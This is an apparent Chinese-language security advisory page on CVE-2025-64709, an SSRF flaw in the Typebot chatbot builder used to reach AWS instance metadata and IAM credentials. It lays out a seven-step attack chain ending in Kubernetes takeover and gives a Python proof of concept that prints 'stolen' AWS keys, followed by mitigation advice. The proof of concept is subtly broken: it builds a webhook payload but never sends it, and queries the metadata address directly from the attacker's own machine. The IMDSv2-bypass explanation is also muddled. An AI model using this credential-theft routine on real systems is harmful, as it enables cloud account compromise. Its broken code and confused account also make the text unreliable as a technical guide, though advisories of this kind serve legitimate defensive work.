IPBUF安全漏洞报告
English
CVE-2025-64709 CVSS 9.6 严重

CVE-2025-64709 Typebot SSRF漏洞可获取AWS IAM凭证

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64709
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Typebot (开源聊天机器人构建器)

相关标签

SSRFAWSIMDSKubernetesEKSTypebot凭证窃取服务器端请求伪造云安全CVE-2025-64709

漏洞概述

CVE-2025-64709是Typebot聊天机器人构建器中的一个严重安全漏洞,CVSS评分高达9.6分。该漏洞存在于webhook block的HTTP Request组件中,影响3.13.1之前的所有版本。攻击者可以利用此漏洞构造恶意请求,从服务器端发起任意HTTP请求,包括访问云服务提供商的元数据端点。更为严重的是,攻击者可以通过自定义HTTP头注入的方式绕过AWS IMDSv2的保护机制,成功获取EC2实例元数据服务中存储的临时IAM凭证。这些凭证通常具有较高的权限,可用于横向移动至Kubernetes集群环境,最终导致整个云基础设施的完全沦陷。由于该漏洞利用无需用户交互且可远程执行,对暴露在互联网的Typebot实例构成极高威胁。

技术细节

该SSRF漏洞源于Typebot的webhook功能对用户输入的URL验证不充分。攻击者可以在HTTP请求中注入自定义头部(如X-aws-ec2-metadata-token),利用该头部绕过IMDSv2的token验证机制。具体攻击流程如下:首先,攻击者通过webhook block构造恶意HTTP请求,目标指向AWS EC2/Kubernetes节点的元数据端点169.254.169.254;然后,通过X-aws-ec2-metadata-token头部获取临时token;接着,请求/latest/meta-data/iam/security-credentials/获取EKS节点角色的凭证信息;最后,利用获取的AWS Access Key、Secret Key和Token进行云资源操作。由于Typebot以较高权限运行,攻击者能够访问到本不应暴露的云平台凭证,实现对整个Kubernetes集群和AWS账户的控制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标运行的Typebot版本,确认版本小于3.13.1以确定漏洞存在
STEP 2
步骤2: 认证获取
攻击者获取Typebot平台的低权限用户账号或通过其他方式完成认证
STEP 3
步骤3: 构造SSRF请求
在webhook block中构造恶意HTTP请求,目标指向AWS元数据端点169.254.169.254
STEP 4
步骤4: IMDSv2绕过
通过注入X-aws-ec2-metadata-token相关头部,绕过IMDSv2的token验证机制
STEP 5
步骤5: 凭证提取
依次请求元数据端点获取IMDSv2 token、EKS节点角色名称及完整的IAM临时凭证
STEP 6
步骤6: 云资源控制
利用获取的AWS Access Key、Secret Key和Session Token访问云资源,执行横向移动
STEP 7
步骤7: 集群沦陷
通过EKS节点角色权限控制Kubernetes集群,部署后门或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-64709 PoC - Typebot SSRF to AWS IMDS Credential Theft Note: This is for authorized security testing only """ import requests import json TARGET_URL = "http://target-typebot-instance.com" WORKSPACE_ID = "your-workspace-id" def exploit_ssrf(): """Exploit SSRF to steal AWS credentials via IMDSv2 bypass""" # Step 1: Create webhook block payload with SSRF webhook_payload = { "type": "webhook", "options": { "url": "http://169.254.169.254/latest/api/token", "method": "PUT", "headers": { "X-aws-ec2-metadata-token-ttl-seconds": "21600" } } } # Step 2: Get IMDSv2 token token_response = requests.put( "http://169.254.169.254/latest/api/token", headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"}, timeout=5 ) imds_token = token_response.text # Step 3: Request IAM credentials credentials_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" cred_response = requests.get( credentials_url, headers={"X-aws-ec2-metadata-token": imds_token}, timeout=5 ) # Step 4: Parse and extract AWS credentials role_name = cred_response.text.strip() final_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}" aws_creds = requests.get( final_url, headers={"X-aws-ec2-metadata-token": imds_token}, timeout=5 ).json() print("[+] Stolen AWS Credentials:") print(f" AccessKeyId: {aws_creds.get('AccessKeyId')}") print(f" SecretAccessKey: {aws_creds.get('SecretAccessKey')}") print(f" Token: {aws_creds.get('Token')}") return aws_creds if __name__ == "__main__": print("[*] CVE-2025-64709 Typebot SSRF Exploit") print("[*] Target: Steal AWS IMDS credentials via webhook") exploit_ssrf()

影响范围

Typebot < 3.13.1

防御指南

临时缓解措施
立即升级Typebot至3.13.1版本以修复该漏洞;若暂时无法升级,可通过配置Web应用防火墙(WAF)规则阻止对169.254.169.254及内网IP段的请求,同时对AWS EC2实例启用IMDSv2强制模式并在实例级别设置HttpPutResponseHopLimit限制跳数。对于已运行的实例,建议轮换可能泄露的IAM凭证并审查访问日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表